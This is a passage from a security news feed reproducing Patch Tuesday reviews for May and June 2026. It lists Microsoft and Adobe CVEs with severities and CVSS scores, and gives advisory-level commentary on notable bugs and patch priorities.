  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution 